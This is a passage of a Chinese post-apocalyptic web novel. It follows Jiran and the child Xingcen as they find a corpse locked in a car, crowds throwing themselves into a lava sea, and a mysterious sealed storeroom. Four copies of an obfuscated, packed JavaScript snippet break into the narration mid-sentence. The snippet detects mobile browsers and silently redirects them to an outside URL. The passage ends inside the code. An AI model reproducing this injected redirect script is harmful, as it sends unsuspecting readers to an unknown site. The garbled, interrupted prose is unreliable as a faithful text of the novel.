待穿好裤子后,星岑低着头走到寂染身边,抓住他垂在身侧的左手,不太好意思道:“哥哥,我已经好了,我们走吧。” 他说完就往前走,却一下没能拉动,星岑不由地抬起头,望向寂染。却看见他的脸色突然变得严肃,像是看到了什么,眼睛正一眨不眨盯着那彩绘车瞧。 以星岑的角度看过去,只能看到敞开的车门内,黑乎乎的一片,而那几个卡通摆设也隐在光线下,在地上投出几道张牙舞爪的黑影,陡然变得阴森可怖。 星岑心中一抖,忽然又不想要那玩偶了。他收回目光,胆战心惊地捏了下寂染的手,想寻求安慰:“哥哥?” “嗯?”寂染心不在焉地应了一声,又把拿电筒的手,升高了一些。 白色光线像月落的潮水,把车的后半部分浸在亮光中。生锈的金属泛起冰冷的冷光,那里车门紧闭,车窗也被密不透风。 但光线照过去,能看到大团大团喷溅的黑色痕迹,还间杂着许多杂乱的掌印。像是有人曾困在里面,拼命拍打车窗,垂死挣扎过。 等寂染把灯光调亮了一些,又看到玻璃下,有一团紧贴着车门的黑影。 忽然,寂染想起星岑说的臭味,刹那间他就意识到了那是什么,不由脊背发凉,起了一层细密的鸡皮疙瘩,他连忙拉着星岑退后了一步。 星岑茫然地再次叫他:“哥哥,怎么了?” “你在这里等我一下。”寂染没回答,只是让星岑留在原地,自己则跑到树林边找了根结实的长木棍,随后又回到彩绘车上,从打开门的副驾驶深深吸了口气,钻了进去。 下一秒,手电笔直的光线瞬间照亮了整个车的后座,和星岑说的一样,这里面弥漫着一股令人难以忍受的恶臭,几乎让人窒息。 寂染强忍着呕吐的感觉,看向刚才照到的黑影,不禁拿电筒的手一抖。 果然,那是一具尸体。 而且看穿着,还是一个年轻男性的尸体。 只不过在经过许多年后,已经变成了一具像木乃伊一样干瘪的干尸。比起血肉模糊的新鲜尸体,视觉感受上要好上太多。 但寂染还是感到害怕,似乎在担心这具尸体会像魔幻小说里的木乃伊突然清醒并朝他扑咬过来。 他头皮阵阵发麻,强忍着惧意,颤抖着手,用木棍死死抵住尸体。 直到等了几分钟后,听到车外响起星岑不安的呼唤声,他才陡然间回过神来,开始缓慢地移动木棍——他想要找到这人的死因,搞清楚究竟发生了什么。 干尸身上的衣服已经烂成一堆破布,轻轻一拉一拽,便掉了下来,露出风干的上半身。就跟风干的排骨的一样,一层深褐色的肉紧紧贴在嶙峋的骨头上,寂染却没有在它身上看到有任何致命的外伤。 于是他把前面的座椅前推,想让那具干尸能彻底倒下来,然而却没有,尸体依旧紧紧挨着车门,头就抵在车窗上。 等寂染仔细一看,才发现原来那干尸的十根手指正死死抠在开门的拉手上——他在试图开门。 有人锁了车,不想让他下去。 而前门却是打开的,留下有人匆匆离开的痕迹。 忽然间,令人胆寒的冷意漫上五脏六腑。 寂染冷不丁打了个寒颤,这一瞬间,他脑子里突然冒出个猜测——难不成车主把年轻人关在了车里,自己下去,但没有离开,而是等里面的人挣扎,死后,才又打开车门。 不过最后,车主还是将车抛弃,离开。 想到这里,寂染不由心底一寒,这完全就是谋杀啊。 可警车就在不远处,这些废弃的车辆也挨得很紧。 他不信,当有人遇到这种情况,不会有人挺身而出。 可跟着这个思路想,就说明有问题的不是车主,而是车里被困住的那个人。 其实当寂染在森林里第一眼看到那些没有痛觉的怪人的时候,内心想到的最大可能是游戏里出现过的丧尸,可是星岑却说,他们并不袭击人。 但如果不袭击人,其他人又怎么会出事呢? 丧尸顾名思义,是人已经死了,变成尸体,但神经中枢却仍然活跃,支配这些丧尸去嘶咬活人,传播病毒。 这也是丧尸最厉害的地方,就跟狂犬病一样,轻轻一咬破皮,就能让一个活生生健康的人瞬间感染、死亡,重生成丧失理智的行尸走肉,又去撕咬其他人。 可丧尸也有弊端,就是丧尸不会思考,他们靠本能驱使行动,遇见锁门,只会想到蛮力去撞,绝不会有抠动门锁的举动。 所以每次他和朋友打完丧尸游戏,或者看完丧尸电影,都会觉得这种电影逻辑有问题。以丧尸这种没有智力的玩意,连只狗都干不过,怎么可能导致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240349|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界毁灭,最多让小范围处在一时的丧尸困境,还在于火力不足。 更不用说,在他昏迷的几十年后,武器只会越来越厉害,丧尸根本不具有灭亡人类的危险性。 可是,对于人类末日的提示,只有一个词的提示——“自食恶果”。 所以寂染才一直在想会不会是环境污染,或者核辐射导致的生物变异,这也能稍微解释森林里植物诡异的情况。 可在看到这具尸体后,又让这个猜测变得不确定起来。 究竟是什么,会让他的亲友,愿意把他困死在车内,也让其他人全都袖手旁观呢? 寂染没有在尸体上找到任何明显的伤口,以及关于这场灾难的任何线索。 但臭味的来源却搞清楚了,是凝固在座椅上的黑色泥垢状秽物,把木棍戳在上面,竟还有轻微的弹性,像某种胶质物。 寂染搞不准那东西有没有传染性,便没有带走木棍,直接从车上跳下来。 寂染在车里呆了十多分钟,光明明灭灭,星岑紧紧握着自己的手电,心里止不住的紧张。 一看到他出来,星岑就赶紧跑上前:“哥哥,没事吧?” 寂染脸色不太好,但仍旧摇头,语气克制地说:“没事,我们走吧。” 寂染说没事,星岑就不多问,只偷偷朝车里多看了一眼,便乖乖地拉住他的手。 之后他们没有再随便上其他车,而是径直来到警车前。 寂染还是让星岑拿着手电筒在外面等,自己则从碎裂的车窗爬进去翻东西。 他想找找有没有其他的线索,或者是一些可以用的武器——最好能有枪,虽然不会用,但拿着也能当平安符,求个安心。 不过和他相同想法的人很多,车里面有很明显的翻找痕迹,连车垫都被扯出来,想来不可能再留下任何有用的物品。 但寂染还是找到自己想要的——一张沾了油的纸。被放在空咖啡纸杯的下面,那是一张手写的购物小票,记录了购买的两人份餐点和咖啡。 而落款的日期是2092年6月11日。 应该就是这一天,出事了。 可能还要更早,因为这里曾是人类最后一处堡垒,所有人都曾顽强抵抗过。 可惜…… 寂染大汗淋漓地下车,深吸一口气,脑袋里一片空白。他把小票叠好,和之前发现的那堆便签纸放在一起,打算放到背包的最里面。但放之前,他犹豫了下,又把东西拿出来,放进了星岑裤子的口袋里。 “这是什么?”星岑好奇地拉开口袋,边看边问。 “是我们身上最重要的东西。”寂染示意他收好,“千万别弄丢了。” 星岑立刻紧张地松开手,并用力拍了两下袋子,神情严肃地说:“交给我吧,我会誓死保护它的!” 他的语气非常郑重其事,说完还模仿大人的样子,用手指先指向天空,然后又指向自己的胸口,代表誓言已经立下,神圣不可违背。 19. 找妈妈的路上(十九) 寂染原本心情十分沉重,但看到星岑装模作样的样子,忍了忍,最后还是没忍住,被逗笑了。 他抬手轻轻戳了一下星岑的额头,笑着说道:“那倒也不必,先顾好自己,你更重要。” 星岑立刻也跟着咧嘴笑起来。 方才那种紧绷压抑的氛围,刹那间如烟般消散了,而寂染那种前途未知的迷茫心情好了不少。 还好有星岑,寂染想,不然他可能一天也撑不下去。 简单吃了些东西,寂染重新把背包背上,星岑黏糊糊地靠过去,蹭着他裤腿,仰起小脑袋问:“我们要去找避难所了吗?” “去海边。”寂染垂眼,看自己和星岑像泥地里捞出来的模样,不由叹了口气,“先洗个澡吧。” 星岑当即欢呼起来:“游泳了,终于可以游泳啦!” 寂染被他纯粹的兴奋感染,也不由得对大海期待起来。他抬头望向前方,海浪声正响彻在耳边,他不由回忆起那场海边的“谈话”,心想那就是小舅舅提到的那片海吧。 在黑暗里,一切声音都格外放大,他们一边听着海浪声,一边听着自己踩在地上沙沙的脚步声。除此之外,还有星岑因为兴奋而变得格外急促的呼吸声。 很快,他们脚下坚硬的水泥板变成了柔软的沙子,像踩在松软的棉花上。星岑兴奋地加重了步子,每踩一脚就新奇地“哈”一声。 他好像非常快乐,踩了几下后,他忍不住拉住寂染,欢乐地分享道:“哥哥,快看,这些沙子好软,像是要把我的脚吃掉,里面会有小玻璃吗?我想脱鞋……” 寂染闻言低头去看,突然,前方传来“扑通”一声,有什么掉进了水里。 星岑还在叽叽咕咕说话,寂染转头望向声音传来的方向,这一刻,世界仿佛变得异常静谧,那些海浪风声犹如月升的潮水忽而消失殆尽,光线触及不到的道路尽头,却响起了异样的声响。 那令人心慌的落水声持续不断响了十几次。 星岑不由得停止了说话,他睁大眼睛,莫名有些不安起来了,他惴惴地望向前方,手紧紧攥住了寂染的衣角。 一时间,两人都没有说话,就静静站在原地,像森林里脆弱的小动物,紧绷又警惕地竖起耳朵,注意周围是否还有异样的动静。 可还没等松下一口气,又一声“扑通”划破了才恢复的平静,寂染瘦弱的身体立刻像猎豹一样绷紧,他紧张地握住手里的电筒,把它当作武器般高举在胸前。 “那是什么?”良久的沉默后,星岑终于忍不住出声。 寂染摇头,他不知道。但在这样恐怖的氛围里,任何异样的声响代表着未知,而未知就是危险。想要活下去最明智的选择是躲避,而不是逞英雄过去冒险。 “会不会是刚才那些怪人?”星岑虽然有些害怕,但深吸一口气后,似乎又恢复了些勇气。 随后,他握紧拳头,像上一次拖走熟睡的寂染,小葡萄似的紫眼睛流露出坚定和决然,他挨着寂染的腿,小声说:“我,我过去看看。” “不行。”寂染握住他细瘦的手腕,立刻否决道。 “没事,不要怕,也许是那些叔叔阿姨想游泳。”星岑肩膀松塌下来,似乎成功说服了自己,反而劝说起寂染,“我们只到后面偷偷看一眼,离他们远远的,保证不会被发现。” 寂染很纠结,他既想去了解到底发生了什么,又担心再出现意想不到的危险,电影里这样作死的场景实在太多了。 “哥哥,去吧,我好想游泳,我快热死了。” “你不想游泳吗?海水很漂亮的,还有好多好多小螃蟹和小鱼,我们可以抓来烤着吃。” “海滩很大的,我们可以避开他们,去另一边。” “哥哥我真的好想游泳,我身上都发臭了,不信你闻闻。” 在星岑喋喋不休的碎碎念里,那种紧绷的氛围不知不觉消失了。 寂染甚至觉得自己身上正散发出一种类似泡菜的酸臭味,因此想要洗澡的念头一旦生出来,就像烧不尽的野草,再也压不下去。 不远处再次响起奇怪的扑通声,这次寂染竟然不再害怕了,天平上想要洗澡的强烈欲望压倒了恐惧,他拉着星岑小心翼翼走过去,沙子很好掩埋了他们的脚步声。 很快他们找到声源的地点,只见海滩边黑压压站了几排人,松散却又拥挤地缓缓朝前移动。后面则源源不断涌上从森林里新来的人,像残破又木讷的人偶,跟在了人群的后面。 原来这里就是他们的目的地。 星岑观察了几分钟,发现这群人跟机器人似的,互相没有任何交流,只执着跳海这个动作指令,他不解地转过头,小声问寂染:“那些叔叔阿姨到底怎么了?” 寂染晦暗不明地摇头,他也不清楚怎么回事,总觉得这种诡异的行为背后正是他想要寻找的某种可怕的隐秘。 他不禁想要靠近一些,看清楚他们要做什么。 于是他指示星岑躲在远处,自己偷摸着走到这些人不远处的岩石群,打算爬到一个五人高的岩石上,好找个能俯瞰海景的观察点。 就在这时,身后响起了沙沙的脚步声,寂染以为是不听话的小孩,正转身打算喝阻他,就见一个白人少女从黑暗里缓缓走了过来。 那少女看着比他大一些,面色呈现病态的潮红,身材削瘦单薄,一身白色裙装被血液和碎肉包裹,褐色的卷发乱糟糟地蓬在头顶,漂亮的绿色眼睛从他身旁掠过,仿佛没有焦距般呆滞木讷。 “喂,你怎么了?需要我帮忙吗?能告诉我发生什么事了吗?”寂染试图喊住她。 可少女置若罔闻,连一个眼神都吝啬递给他。她和其他人一样,仿佛沉浸在醒不过来的梦里,双眼呆滞,模样痴傻地汇入人群里。 寂染只好放弃交流,当看到少女纤瘦的背影重新消失在黑暗里,他才想起要做的事,便手脚麻利地爬上那小山似的岩石。 粗糙的岩石表面很好为鞋提供了摩擦,让他爬得并不艰难。 十几秒后,他到达了岩石顶部,然后在崎岖嶙峋的岩石表面颤颤巍巍站了起来。在不绝于耳的“扑通”声中,他举起了手里的手电筒。 黑暗中,羸弱的光线像灯塔般照向远方,星岑幽紫的眼眸熠熠发光。他蹲在原地,目不转睛。像只还未断奶的麋鹿,视线从头到尾没有离开过寂染。有时紧张,有时又庆幸——光线刺透黑暗时,他又油然而生不知哪里来的骄傲。 他的小哥哥,就像光耀战士一样勇敢。 然而就在下一秒,他目光中面孔倔强的寂染,脸色忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240350|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变了。 他似乎不确定看到的景色,抬手揉了揉眼睛,当手放下的瞬间,他仿佛看到了难以置信的东西,神情变得非常错愕。 星岑忍不住站起身,他不安地攥紧衣角,小小喊了一声:“哥哥!” 声音太小,刚发出就被黑暗吞噬了。 可星岑不敢说话太大声,他跌跌撞撞朝寂染跑过去,刚跑到岩石下,就被寂染拉住了胳膊,拖着他一起上了岩石。 * 站在岩石上,星岑努力睁大双眼。 终于,他看到了那片大海。可放在身旁的小手,一下攥紧了。 那里的确有一片海,却不是他们曾心心念念蔚蓝无垠的海洋,而是充满了红色的火光,让人毛骨悚然,仿佛地狱里能生出恶鬼的火海——那明明是可怕的岩浆,是能把人连皮带骨活生生融化的流动的死亡之海。 就连什么都不懂的星岑,也本能地感到恐惧。 又一群人走到火海边,他们形容枯槁,动作僵硬,靠近岩浆的刹那,却像是幡然惊醒,双眼充血,面露痴狂,急不可赖地一跃而起。 下一秒,只听“扑通”一声,“火海”绽放一朵丑陋的碎花。人掉进里面,扑腾几下,还没来得及发出痛苦嘶吼声,就被涌上来的岩浆覆盖,消失在一片血色的火焰里。 星岑愣住了。 浓烈的硫磺味卷着热浪阵阵袭来,恶臭难闻的气味争先恐后涌入气管,他的鼻腔连同五脏六腑像着了火一样滚烫。 他懵懂地眨了眨眼睛,仿佛还搞不清状况。 又是扑通几声。 星岑瑟缩了一下。 不由退后一步,跌进温热的胸膛里。 寂染抱住了他颤抖的身体,星岑有些发怔,他愣愣地看着脚底。 “啪”,光线消失,再度恢复黑暗。 星岑好像要飘走的灵魂,又颤颤巍巍回到了原点。 他把头埋进寂染的胸口,无措地问:“哥哥,那是什么?那都是什么?” 寂染抿紧嘴唇,他一动不动,在黑暗里思考着什么。 突然,他动了起来,重新打开手电筒,要从石头上滑下去。 星岑赶忙扑过去,死死抓住他的袖口,慌张地问:“哥哥你去哪儿,那里不能游泳的,不能游泳的!” “乖,我不游泳。”寂染双眼充血,他摸摸小孩的头,哑声道,“我只是去看一下。” “我也要去!” “不行。”寂染果断拒绝,“你在这里等着我。”看小孩硬要往下跳,他只好话语一转,“你在这里给我放哨,要是看到危险立刻叫我。” 星岑有些纠结,不太乐意。 寂染立刻揉了揉他脑袋:“你不是说要保护哥哥吗?” 星岑狐疑地看他:“这样也算吗?” “嗯,毕竟我只能看到前面,看不到后面。”寂染示意他抱好包,“还要守住我们的物资,这是最重要的任务。” “好吧。”星岑终于被说服,放开了寂染的袖子,可手里却攥紧了电筒,异常紧张地观察起四周。 他像一座小小的灯塔,在无边的黑暗点亮了一盏羸弱的灯,可也太微弱了,迷途的游人不断经过,却没有一个人回头。反而衬托着这个异常的世界,显得更加的黑暗。 20. 找妈妈的路上(二十) 寂染靠近人群的时候,异常小心,担心会被这群“怪人”发现,像真的丧尸一样袭击他。 一路上,他脑海里不断浮现出电影里,可怕的活死人啃人的场景。 但当第二个,第三个……乃至数不清的怪人无视他,从他身边走过后。 寂染发现星岑说的没错,这些人并不理人。他们像是梦游一样,虚睁着没有焦距的双眼,缓缓随着人群往前走。 可一靠近岩浆,这些人黯淡的眼睛立刻迸发出闪闪明亮的光辉,像是终于到达了此行的目的地,脸上露出犹如宗教狂徒般痴迷享受的神情。 随即义无反顾地纵身一跃,直直冲着那火海。 然而当身体陷进滚烫的岩浆时,他们脸上兴奋的表情蓦然狰狞起来。 白条条的肉身像是置身于炸锅,滚烫的岩浆瞬间烫开白色的皮,炸开里面鲜红色的嫩肉,露出雪色的骨头。 置于如此毛骨悚然的惨境,理所应当发出惊恐又痛苦的惨叫。 可张开嘴半天,只见喉咙快速蠕动了几下,脆弱的喉管像塞进巨物,忽然膨胀犹如头颅般大小。 似乎有什么巨大的玩意堵住了唯一的泄口,并试探着钻出来。 然而最终,什么也没钻出来。也没有撕心裂肺的惨叫,连轻声的啜泣都变得吝啬。 只留下皮炸骨裂的恐怖面孔,活生生的人眨眼间就淹没在闪动着红色火光的岩浆里。 惊心动魄的一幕让寂染胃部疯狂翻腾,他两颊裹酸,眼冒泪花,好几次当众吐出来。 或许吐出来会好受些,然而他没有。他强忍着像蚂蚁爬过每一寸肌肤的战栗,把拳头攥紧,哆哆嗦嗦直起身。 “要赶紧离开这里,这些人疯了,必须赶紧走。” 他倏地回身,不小心挡住后面的人。 还不等他让开,就被对方粗鲁地一把推开,同时朝他像受到威胁的兽类般龇起牙齿,露出一个凶恶又狰狞的表情。 等他惊慌失措地退开后,那人却又恢复痴痴傻傻的面孔,甚至带着一种虔诚的愉悦,仿佛那是翘首以盼的死亡。 “你们,你们到底怎么了?”寂染颤着嗓音问道。 但没人回答他。 沙沙的脚步声和扑通落水声此起彼伏,无声诉说答案。 寂染浑身战栗,他忽然间残酷地意识到,这就是末日。 他先是在人群里穿梭,随后僵硬地站着。 当视野里出现一个双眼无神的孕妇时,他的脊背终于像熟穗的麦秆,支撑不住似的,缓缓躬了起来。 砂砾轻微震动,地底传来隆隆闷响,崖底的火浆激烈地拍打在黑色的岩石上,四处弥漫着令人窒息的硫磺味,还有可怕的…… 皮肉烧焦的气味。 他抱着手臂蹲下,木然地盯着石崖上跳动的火星。 这一刹那,他好像品味到了绝望的滋味,也好像终于明白这是怎样的世界。 * 星岑还蹲在岩石上,一下没一下地晃动手电筒。 寂染的身影已经消失了好久,他刚开始还踮着脚尖试图找人,后来实在找不到,就只好放弃了。 “这里好热啊。” 星岑把手电筒夹在胳肢窝里,打开背包,从里面拿出水,想喝一口。 可他发现打不开瓶盖,反而把自己弄得满头大汗,他感觉更加热了。 星岑艰难地咽了一口口水,现在好想痛痛快快洗个澡。 他突然怀念起自己的病房,那里有个儿童专用的小浴盆。 浴盆是妈妈出差的时候寄回来的,形状像个巨大的黄毛鸭子。旁边还有两个按钮,一个会唱歌,一个会闪光,让他们那层的小朋友羡慕了好久。 可惜好景不长,没多久他就躺不进去了,只能抱着膝盖坐在里面。 也不知道鸭子浴缸是被妈妈离开时带走了,还是还在医院被刚才大火烧毁了。 星岑突然有点难过,但分不清是想妈妈,还是想洗澡更多一点。 他捧着手电发了阵呆,一直没能察觉到周围有些不对劲的地方,等回过神就感觉到了问题。 虽然他才五岁,但基本的认知能力已经有了——手里的手电只有一个,那对应的光源也应该只有一个,可怎么旁边还多出了一个? 关键是这个光源还一直在上窜下跳,想让他不注意到都难。 星岑有些疑惑,他扭过头看向光源的位置,却被刺向眼睛的强光晃得瞳孔一缩。 等光源移开,他才在空荡荡的岩石堆里看到一道白影。 一开始那道白影还很模糊,等他揉了揉被光刺激得不舒服的眼睛,再去看的时候,吃惊的发现那是个清晰的女孩的样子。 “有小姐姐!” 他立刻站起来,就见女孩冲他招手,示意他过去。 星岑犹豫地看向身后,那些黑压压的人群还在疯狂往火海里跳。 在这沉闷燥热的黑暗里不时传来扑通扑通的声响。 听着这些声音,星岑一直觉得毛毛的,就像有小蚂蚁在手臂上爬,难受得他受不了。 但他不能跑,因为答应哥哥要等他回来,说话不能不算数。 就在他即将下定决心拒绝的时候,女孩突然对着他,两手做出一个姿势,他眼睛不由得一亮—— 有水喝! 他连忙从石头上爬下去,朝那女孩的方向跑了过去。 * 另一边,寂染从地上爬起来,热浪正一阵阵撞击在皮肤上,他却觉得浑身发冷,一直在打着激灵。 熔岩在脚下不远处翻涌,暗红色的浆体不停皲裂成金色的网纹。 空气中笼罩着宛如实体的硫磺雾气,全都在警告他此地不宜久留。 想到还在等自己的星岑,寂染强迫自己从崩溃边缘拉回来。 他用手背迅速擦干脸上的泪水,平复了下情绪,快速扒开密密麻麻的人群往回走。 但没走几步,他就发现不对劲——没有光了。 只有岩浆里的暗红色光芒在照亮四周环境,而那个小小的灯塔一样的白色光源消失了。 寂染心跳咚咚响着,他加快了速度,希望片刻后能看到星岑因为见到他而惊喜发亮的眼睛。 而在他到达岩石的位置,只看到拉链被打开的背包,歪歪扭扭倒在石头上——那孩子消失不见了。 寂染悚然一惊,浑身汗毛刹那间炸开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240351|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方才那点抑郁情绪立即消失得干干净净,只觉得血液倒灌嗡嗡作响。 他连忙抓起背包,环视四周,拼命大喊:“星岑!” 在这个危机四伏的地方,一个不谙世事、没有自保能力的五岁小孩,能在这个诡异的地方活上几个小时? 是他自己待得不耐烦主动离开了,还是有什么东西抓走他了? 他根本不敢乱想,无论哪一种,在这个地方这个时候后果都不会好。 最关键的是,要快点找到他,可怎么找呢? 没有监控,没有警察,甚至没有可询问的正常人。 在科技发达的现代社会找一个失踪的孩子都很困难,而他在一个黑暗、失落、被变异植物占领的城市废墟,该怎么找到? 冷静下来! 寂染咬着牙,努力告诉自己,不要慌,一定能找到的。 周围没有手电筒,至少说明他是自愿离开,而不是被什么东西抓走的。 他从礁石上一跃而下,脚立刻陷入了柔软的细沙里,他不由得一怔——对了,这里是沙滩! 他连忙从背包里搜出其他手电,照向周边的沙地,果不其然,很快他发现了一堆小脚印。 没有徘徊,脚印正以一条笔直的直线投向完全相反的位置。 寂染不再犹豫,立刻顺着脚印朝前狂奔。大概跑了半刻钟,就离开了沙滩,来到了方才离开的公路,只是这里停着的车辆不一样。 他随机搜了几辆车,没有看到星岑到过的痕迹,上面的灰尘还保持着原样。 他不得不停下来,喘着粗气去判断方向。 是继续朝前走走进变异树林,还是沿着公路朝左或者朝右? 不能出错,在这个可怕的世界,两个人一旦走散,那可能一辈子都看不到了。 他努力回忆看过的刑侦小说里,那些侦探寻找踪迹的办法—— 除开监控和询问路人,剩下的自然因素有看植被断裂面、土壤新鲜程度、足迹、遗留物、记号。 都没有…… 公路上原本也有一层薄薄的细沙,但上面的足迹被那群寻死的疯子怪人给毁掉了,其他痕迹也都一样。 自己好不容易想出主意一一被划掉,寂染颓然地蹲在地上,双手插到头发,双眼发红,他不知道该怎么办了。 他茫然地垂下头,盯着地面上被自己汗水洇湿的黑色小点。 他忍不住责怪自己,为什么要把星岑一个五岁孩子留下,又想星岑为什么要离开呢? 难不成有什么吸引他了吗? 寂染猛地抬起头,望向公路的一边,是和刚才来过的地方完全相反的方向。 那边对星岑是完全陌生的,也只有那边,可能会有东西吸引到他。 寂染豁然起身,大步走过去。他先是走,后来忍不住跑起来,这里不是沙地,跑起来更加容易。 他跑了不到几分钟,就眼前一亮,前面有一个大型加油站。 但此时加油站里挤满了车,想要进到里面,必须从车上挨个爬过去。 他正犹豫,余光忽然瞥到前面满布灰尘的车盖上,竟有一枚小小的手掌印。 寂染的心脏剧烈地狂跳起来。 21. 找妈妈的路上(二十一) “星岑!”寂染忍不住大喊一声,急切地攀爬上那辆车。 紧接着,他看到了许多小脚印,脚印的花纹和星岑的鞋子一模一样! 他浑身发热起来,惊喜万分地举着手电照向旁边的车。 又看到了,这辆,还有那辆,痕迹一直没入到加油站的最里面。 寂染举起手电,努力眯起眼睛,尽力往前看。 就发现,那是一个小超市。玻璃门碎了一半,能看到里面货架乱七八糟地倒在地上。 “星岑!”寂染来到超市门前,手掌握住冰冷的门把手,探头朝里看去。 “吱呀”一声,门被他推开了。 他看到了星岑的小脚印,消失在杂乱的货架后面。 这里看起来有些可怕,他拿手电晃动照向四周,能看出这里曾被洗劫一空。 地上全是厚厚的灰尘和废弃的垃圾,边角位置还长了些暗绿色苔藓,空气里弥漫着淡淡铁锈的味道。 把手电抬高,照出墙面上大片大片喷溅状的黑色痕迹,他不敢想那是什么。 定定站了几秒,寂染深吸一口气,推开面前的货架,朝里面走去。 最里面应该是超市的储藏室,有非常厚重的防火门,但令他有些惊奇的是,这里居然还有电。 他看到门上有个显示温度的小电子屏幕,上面还亮着一个两位数的红色灯光。 “20度。” 寂染难以置信地盯了一眼,随后收回目光,试着推门。 结果用力一推,竟然没有推动,门从里面被上锁了。 “星岑!”他用力砸门。 哐哐几下,灰尘跟着簌簌往下掉,就在他有些着急冒汗的时候,一个小小的声音忽然从里面冒出来:“哥哥?” 寂染一顿:“星岑?” “哥哥,是我!” “星岑,你在里面?”寂染立刻激动起来,连忙说,“快给我开门。” “等下,我要去搬个凳子。”星岑大声道。 随后一阵令人牙酸的凳子拖地声响起,半途又不知道撞到什么,只听星岑“哎哟”一声痛呼,又是一顿丁里哐当。 等好不容易把凳子拖到门边,已经过去好几分钟了。 寂染的心情已经像过山车一样,起起伏伏,到最后终于归于平静,只剩下劫后余生的酥麻感。 只听“咔哒”一声,门被缓缓推开,从里面探出一张脏兮兮的小脸。 星岑看到他立刻“嘿”了一声,高兴地两眼发光:“哥哥,你居然找到我了!你也真的是太厉害了吧!” “……”寂染气笑了。 “哥哥,我找到水了,好多好多水,我们可以洗澡了!”一看到他,星岑立刻高兴地说,等着被寂染夸。 看寂染没有笑,他以为寂染没相信,立刻拉着他进去。 寂染一进门,就立刻感觉一阵说不出来的凉爽,后面的门也自动关上。 还不等他习惯性去研究那自动门的锁,就被眼前的景象震撼了。 雪白灯光下,是满满一屋子的货物。 “哥哥,你看!”星岑高兴地举起手,指着货架最上面说,“那个好吃的鱼罐头,有好多好多!” 看着眼前的景象,寂染震惊得合不上嘴。 干净完整的房间,大约有一百平方,有工作台,沙发,以及整齐的物资储备,甚至还有能独立运转的电力和通气系统。 一般来说,这种密闭的空间最要命的是没有氧气,可这里面的空气清新,没有没有任何怪味。 寂染甚至觉得自己鼻子在岩浆旁被硫磺熏坏了,以至于自己什么也闻不见。 “我厉害吧,我发现了这里!”星岑拽住寂染的裤子,得意洋洋地仰起头。 但没等到想象中的大力夸奖,反而看寂染脸色不大好,眉头都皱起来了。 他松开手,眼睛乱晃地把手背起来乱绞手指头:“是一个姐姐带我来的,但我也没撒谎哦。她推不开门,门是我这样用力,哎呀,哎呀,推开的。” 星岑说着说着怕他不信,就跑到门边给他做演示。 “姐姐?”寂染一愣,转头看他。 “是啊,她刚刚还在这里的,我喊她出来。”星岑说着就要张嘴,结果被寂染一把捂住。 星岑疑惑地抬眼,就见寂染脸色突然有些发白——他从头到尾只看到了星岑一个人的脚印。 星岑短短两句话,说得寂染毛骨悚然。 原本这地方就透露出蹊跷,一个普通的停车场有一间堪比军事堡垒的物资储存处。 末日来临,人们逃亡的时候肯定是想过各种办法去寻找生存物资,绝不会放过这一个地方,门却完好无损,还保持着电力设备运转,足足百年。 一个成年人用尽办法都打不开的门,星岑更不可能打得开,只能是有第二个人,一直在维护这里运转并有钥匙的人,也就是星岑口中的姐姐。 而这也是让寂染脊背发凉的地方,星岑不可能在这点上撒谎。 如果不是看到其他人,有其他人引导带领,他一个丁点大的小孩是不可能走过那么远的路,还穿过那么多障碍,到达这么隐秘的物资点的。 可是,寂染千真万确地肯定,他从头到尾只看到星岑一个人的脚印。 无论是沙滩上,还是后来停车场前那些车上的痕迹,怎么都透着难以言喻的蹊跷。 顶着一脑门疑问,寂染把整个储物间里里外外找了一遍,包括外面的停车场,但始终没有找到第二个人的踪迹。 星岑不明所以,他把板凳搬到门边卡住门,让光透出来,自己则站在上面,好奇地看寂染在做什么。 他不太明白,为什么找到水和好吃的罐头了,寂染却反而更加紧张了。 “那姐姐长什么样?”寂染找寻无果,把他拉回屋内,特地把门关上反锁,看星岑脸又变得脏兮兮的,忍不住把背包放下,从里面拿纸巾和酒精。 星岑使劲闭着眼,让寂染擦额头,嘟嘟囔囔地说:“我看不太清楚,她一直在跑,我只能追她。” 寂染斜眼:“她跑你就追?” 星岑委屈道:“我不想追的,我就是要告诉她,我不能跟她走,我要等你。可我一靠近她,她就跑,我只能一直追。” 这段话的逻辑简直无懈可击,寂染一时间听得哑口无言。 见寂染脸色越发难看,星岑偷偷往前蹭,在靠近寂染的时候,把脸放在他臂弯上,讨好地笑了笑:“哥哥,别生气,下次我一定等你。” 寂染冷眼瞥他:“还有下次?” “没有了!”星岑连忙摇头。 没有得到原本期待的夸奖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 